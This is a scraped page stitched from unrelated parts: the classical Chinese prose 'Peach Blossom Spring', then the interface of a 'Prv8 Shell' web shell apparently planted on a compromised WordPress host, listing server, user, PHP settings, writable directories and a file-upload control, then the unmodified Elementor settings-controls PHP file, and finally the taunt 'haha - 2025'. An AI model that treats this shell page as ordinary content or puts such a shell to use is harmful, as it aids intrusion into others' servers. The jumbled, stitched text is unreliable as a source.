晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/wp-contentTZh/plugins/elementor/includes/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/wp-contentTZh/plugins/elementor/includes/settings/controls.php
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor settings controls.
 *
 * Elementor settings controls handler class responsible for creating the final
 * HTML for various input field types used in Elementor settings pages.
 *
 * @since 1.0.0
 */
class Settings_Controls {

	/**
	 * Render settings control.
	 *
	 * Generates the final HTML on the frontend for any given field based on
	 * the field type (text, select, checkbox, raw HTML, etc.).
	 *
	 * @since 1.0.0
	 * @access public
	 * @static
	 *
	 * @param array $field Optional. Field data. Default is an empty array.
	 */
	public static function render( $field = [] ) {
		if ( empty( $field ) || empty( $field['id'] ) ) {
			return;
		}

		$defaults = [
			'type' => '',
			'attributes' => [],
			'std' => '',
			'desc' => '',
		];

		$field = array_merge( $defaults, $field );

		$method_name = $field['type'];

		if ( ! method_exists( __CLASS__, $method_name ) ) {
			$method_name = 'text';
		}

		self::$method_name( $field );
	}

	/**
	 * Render text control.
	 *
	 * Generates the final HTML for text controls.
	 *
	 * @since 2.0.0
	 * @access private
	 * @static
	 *
	 * @param array $field Field data.
	 */
	private static function text( array $field ) {
		if ( empty( $field['attributes']['class'] ) ) {
			$field['attributes']['class'] = 'regular-text';
		}

		?>
		<input type="<?php echo esc_attr( $field['type'] ); ?>" id="<?php echo esc_attr( $field['id'] ); ?>" name="<?php echo esc_attr( $field['id'] ); ?>" value="<?php echo esc_attr( get_option( $field['id'], $field['std'] ) ); ?>" <?php Utils::print_html_attributes( $field['attributes'] ); ?>/>
		<?php
		if ( ! empty( $field['sub_desc'] ) ) :
			echo wp_kses_post( $field['sub_desc'] );
		endif;
		?>
		<?php if ( ! empty( $field['desc'] ) ) : ?>
			<p class="description"><?php echo wp_kses_post( $field['desc'] ); ?></p>
			<?php
		endif;
	}

	/**
	 * Render checkbox control.
	 *
	 * Generates the final HTML for checkbox controls.
	 *
	 * @since 2.0.0
	 * @access private
	 * @static
	 *
	 * @param array $field Field data.
	 */
	private static function checkbox( array $field ) {
		?>
		<label>
			<input type="<?php echo esc_attr( $field['type'] ); ?>" id="<?php echo esc_attr( $field['id'] ); ?>" name="<?php echo esc_attr( $field['id'] ); ?>" value="<?php echo esc_attr( $field['value'] ); ?>"<?php checked( $field['value'], get_option( $field['id'], $field['std'] ) ); ?> />
			<?php
			if ( ! empty( $field['sub_desc'] ) ) :
				echo wp_kses_post( $field['sub_desc'] );
			endif;
			?>
		</label>
		<?php if ( ! empty( $field['desc'] ) ) : ?>
			<p class="description"><?php echo wp_kses_post( $field['desc'] ); ?></p>
			<?php
		endif;
	}

	/**
	 * Render checkbox list control.
	 *
	 * Generates the final HTML for checkbox list controls.
	 *
	 * @since 2.0.0
	 * @access private
	 * @static
	 *
	 * @param array $field Field data.
	 */
	private static function checkbox_list( array $field ) {
		$old_value = get_option( $field['id'], $field['std'] );
		if ( ! is_array( $old_value ) ) {
			$old_value = [];
		}

		foreach ( $field['options'] as $option_key => $option_value ) :
			?>
			<label>
				<input type="checkbox" name="<?php echo esc_attr( $field['id'] ); ?>[]" value="<?php echo esc_attr( $option_key ); ?>"<?php checked( in_array( $option_key, $old_value ), true ); ?> />
				<?php echo wp_kses_post( $option_value ); ?>
			</label><br />
		<?php endforeach; ?>
		<?php if ( ! empty( $field['desc'] ) ) : ?>
			<p class="description"><?php echo wp_kses_post( $field['desc'] ); ?></p>
			<?php
		endif;
	}

	/**
	 * Render select control.
	 *
	 * Generates the final HTML for select controls.
	 *
	 * @since 2.0.0
	 * @access private
	 * @static
	 *
	 * @param array $field Field data.
	 */
	private static function select( array $field ) {
		$old_value = get_option( $field['id'], $field['std'] );
		?>
		<select name="<?php echo esc_attr( $field['id'] ); ?>">
			<?php if ( ! empty( $field['show_select'] ) ) : ?>
				<option value="">— <?php echo esc_html__( 'Select', 'elementor' ); ?> —</option>
			<?php endif; ?>

			<?php foreach ( $field['options'] as $value => $label ) : ?>
				<option value="<?php echo esc_attr( $value ); ?>"<?php esc_attr( selected( $value, $old_value ) ); ?>><?php echo esc_html( $label ); ?></option>
			<?php endforeach; ?>
		</select>

		<?php if ( ! empty( $field['desc'] ) ) : ?>
			<p class="description"><?php echo wp_kses_post( $field['desc'] ); ?></p>
			<?php
		endif;
	}

	/**
	 * Render checkbox list control for CPT.
	 *
	 * Generates the final HTML for checkbox list controls populated with Custom Post Types.
	 *
	 * @since 2.0.0
	 * @access private
	 * @static
	 *
	 * @param array $field Field data.
	 */
	private static function checkbox_list_cpt( array $field ) {
		$defaults = [
			'exclude' => [],
		];
		$field = array_merge( $defaults, $field );

		$post_types_objects = get_post_types(
			[
				'public' => true,
			], 'objects'
		);

		/**
		 * Filters the list of post type objects used by Elementor.
		 *
		 * @since 2.8.0
		 *
		 * @param array $post_types_objects List of post type objects used by Elementor.
		 */
		$post_types_objects = apply_filters( 'elementor/settings/controls/checkbox_list_cpt/post_type_objects', $post_types_objects );

		$field['options'] = [];
		foreach ( $post_types_objects as $cpt_slug => $post_type ) {
			if ( in_array( $cpt_slug, $field['exclude'], true ) ) {
				continue;
			}

			$field['options'][ $cpt_slug ] = $post_type->labels->name;
		}

		self::checkbox_list( $field );
	}

	/**
	 * Render checkbox list control for user roles.
	 *
	 * Generates the final HTML for checkbox list controls populated with user roles.
	 *
	 * @since 2.0.0
	 * @access private
	 * @static
	 *
	 * @param array $field Field data.
	 */
	private static function checkbox_list_roles( array $field ) {
		$defaults = [
			'exclude' => [],
		];
		$field = array_merge( $defaults, $field );

		$field['options'] = [];
		$roles = get_editable_roles();

		if ( is_multisite() ) {
			$roles = [
				'super_admin' => [
					'name' => esc_html__( 'Super Admin', 'elementor' ),
				],
			] + $roles;
		}

		foreach ( $roles as $role_slug => $role_data ) {
			if ( in_array( $role_slug, $field['exclude'] ) ) {
				continue;
			}

			$field['options'][ $role_slug ] = $role_data['name'];
		}

		self::checkbox_list( $field );
	}

	/**
	 * Render raw HTML control.
	 *
	 * Generates the final HTML for raw HTML controls.
	 *
	 * @since 2.0.0
	 * @access private
	 * @static
	 *
	 * @param array $field Field data.
	 */
	private static function raw_html( array $field ) {
		if ( empty( $field['html'] ) ) {
			return;
		}
		?>
		<div id="<?php echo esc_attr( $field['id'] ); ?>">

			<?php // PHPCS - This is a Raw HTML control, it is not escaped on purpose. ?>
			<div><?php echo $field['html']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></div>
			<?php
			if ( ! empty( $field['sub_desc'] ) ) :
				echo wp_kses_post( $field['sub_desc'] );
			endif;
			?>
			<?php if ( ! empty( $field['desc'] ) ) : ?>
				<p class="description"><?php echo wp_kses_post( $field['desc'] ); ?></p>
			<?php endif; ?>
			</div>
		<?php
	}
}

haha - 2025